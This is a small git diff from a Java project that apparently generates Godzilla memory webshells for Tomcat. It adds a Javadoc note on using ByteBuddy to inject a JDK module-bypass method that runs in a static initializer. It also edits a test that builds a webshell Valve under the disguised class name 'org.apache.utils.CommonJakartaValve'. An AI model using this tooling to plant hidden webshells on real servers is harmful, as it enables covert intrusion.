diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java
index 1d0bf84d..dce748d0 100644
--- a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java
+++ b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java
@@ -37,6 +37,26 @@ public class ByPassJdkModuleInterceptor {
         }
     }
 
+    /**
+     * Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
+     * Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
+     * <br>
+     * 向类中添加 byPassJdkModule 方法，并在创建静态变量初始化，使其能在静态代码块中执行 byPassJdkModule 方法
+     * 值得注意的一点，builder 是不可变类型，所以都是需要重新赋值，例如以下代码示例
+     * # code that not work
+     * builder = new Bytebuddy().redefine(class);
+     * builder.visit(something);
+     * builder.make();
+     * <br>
+     * # code that work
+     * <br>
+     * builder = new Bytebuddy().redefine(class);
+     * builder = builder.visit(something);
+     * builder.make();
+     *
+     * @param builder bytebuddy builder
+     * @return new builder with bypass
+     */
     public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
         return builder
                 .defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC)
diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java
index 4120b514..17ff7c7b 100644
--- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java
+++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java
@@ -7,9 +7,6 @@ import net.bytebuddy.jar.asm.Opcodes;
 import org.apache.commons.codec.binary.Base64;
 import org.junit.jupiter.api.Test;
 
-import java.nio.file.Files;
-import java.nio.file.Paths;
-
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -40,7 +37,7 @@ class GodzillaValveTest {
     void generateJakarta() {
         String className = "org.apache.utils.CommonJakartaValve";
         byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
-        Files.write(Paths.get(className + ".class"), bytes);
+//        Files.write(Paths.get(className + ".class"), bytes);
         Object obj = ClassUtils.newInstance(bytes);
         assertEquals(className, obj.getClass().getName());
         assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));